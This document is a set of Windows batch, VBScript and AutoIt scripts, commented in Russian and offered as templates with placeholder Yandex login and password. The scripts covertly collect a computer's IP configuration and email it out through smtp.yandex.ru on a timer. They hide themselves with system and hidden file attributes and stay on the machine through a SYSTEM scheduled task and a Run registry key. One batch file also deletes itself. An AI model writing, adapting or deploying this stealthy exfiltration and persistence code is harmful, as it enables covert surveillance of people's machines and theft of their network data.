@echo off
blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw пароль
ipconfig /all > ip.txt
blat.exe ip.txt -to логин@yandex.ru
del /s /q ip.txt
exit
cls

@echo off
attrib +a +s +r +h %systemroot%\miwich
schtasks /tr %systemroot%\miwich\ips.exe /ru "System" /sc hourly /mo 5 /tn Windk /f
start %systemroot%\miwich\ips.exe
exit
cls

On Error Resume Next  
strComputer = "." 
Set objWMIService = GetObject("winmgmts:" _ 
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") 
Set IPConfigSet = objWMIService.ExecQuery _ 
    ("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") 
 For Each IPConfig in IPConfigSet 
    If Not IsNull(IPConfig.IPAddress) Then  
        For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress) 
        ipaddr = ipaddr + " " + IPConfig.IPAddress(i) 
             
        Next 
    End If 
Next 
Dim Shell 
set Shell = WScript.CreateObject ("WSCript.shell") 
Shell.run("SendMail /smtpserver smtp.yandex.ru /to логин-кому@yandex.ru /from логин от куда@yandex.ru /subject Message subject /body" + ipaddr + "/user логин /password пароль")

@echo off
schtasks /tr %systemroot%\miwich\sdg.vbs /ru "System" /sc hourly /mo 5 /tn Windk /f  >nul
attrib +s +h +r %systemroot%\miwich  >nul
start sdg.vbs  >nul
del "%0" >nul 
cls

#include <File.au3> 
#include <Inet.au3> 
#include <Process.au3>

#NoTrayIcon
;Заполнить 
$sFile = "IP.txt" 
$SmtpServer = "smtp.yandex.ru"              ; адрес SMTP сервера 
$FromName = "IP-(от кого)"                     ;  пишем имя,любое
$FromAddress = "логин@yandex.ru" ; адрес отправителя 
$ToAddress = "логин@yandex.ru"   ; адрес получателя 
$Subject = "внешний IP"                   ; тема письма 
$AttachFiles = $sFile 
$sText=_GetIP()                                              
$CcAddress = ""      
$BccAddress = ""      
$Importance = "Normal"                  ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low" 
$Username = "логин@yandex.ru"                    ; имя отправителя 
$Password = "пароль"                  ; пас отпрвителя 
$IPPort = 587                            ; порт можно 25,ну и так норм отправляет 
$ssl = 0                               
;~ $IPPort=465; GMAIL порт 
$sArgument = '/320' ;задержка перед началом работы в 320 секунд 
FileSetAttrib ( @ScriptName, "+S+H")

If $CmdLine[0] Then 
    $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000 
    $iStart = TimerInit() 
    While TimerDiff($iStart) <= $iTimer 
        Sleep(250) 
    WEnd 
EndIf 
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0) 
    Local $objEmail = ObjCreate("CDO.Message") 
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' 
    $objEmail.To = $s_ToAddress 
    Local $i_Error = 0 
    Local $i_Error_desciption = "" 
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress 
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress 
    $objEmail.Subject = $s_Subject 
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then 
        $objEmail.HTMLBody = $as_Body 
    Else 
        $objEmail.Textbody = $as_Body & @CRLF 
    EndIf 
    If $s_AttachFiles <> "" Then 
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") 
        For $x = 1 To $S_Files2Attach[0] 
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x]) 
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console 
            If FileExists($S_Files2Attach[$x]) Then 
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF) 
                $objEmail.AddAttachment($S_Files2Attach[$x]) 
            Else 
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF) 
                SetError(1) 
                Return 0 
            EndIf 
        Next 
    EndIf 
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer 
    If Number($IPPort) = 0 then $IPPort = 25 
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort 
    ;Authenticated SMTP 
    If $s_Username <> "" Then 
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username 
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password 
    EndIf 
    If $ssl Then 
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True 
    EndIf 
    ;Update settings 
    $objEmail.Configuration.Fields.Update 
    ; Set Email Importance 
    Switch $s_Importance 
        Case "High" 
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High" 
        Case "Normal" 
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal" 
        Case "Low" 
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low" 
    EndSwitch 
    $objEmail.Fields.Update 
    ; Sent the Message 
    $objEmail.Send 
    If @error Then 
        SetError(2) 
        Return $oMyRet[1] 
    EndIf 
    $objEmail="" 
EndFunc  
_RegRun($sArgument)
$i =0 
While $i <= 1                              
$var = Ping("www.google.com",250)       
If @error = 0 Then 
$AttachFiles = @ScriptDir & "\IP.txt" 
_RunDOS("ipconfig /all >>IP.txt")
_FileWriteLog($AttachFiles, $sText) 

Sleep(1000) 
_INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl) 
sleep(1000) 
FileDelete("IP.txt") 
Sleep(1000*60*60)                ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 60 минут,то есть последние цифры отвечают за минуты. ) 
EndIf 
WEnd 
Func _RegRun($s_Argument) 
    Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 
    If Not RegRead($sRegRun, @ScriptName) Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath & ' ' & $s_Argument Then 
        RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath & ' ' & $s_Argument) 
    EndIf 
EndFunc   
exit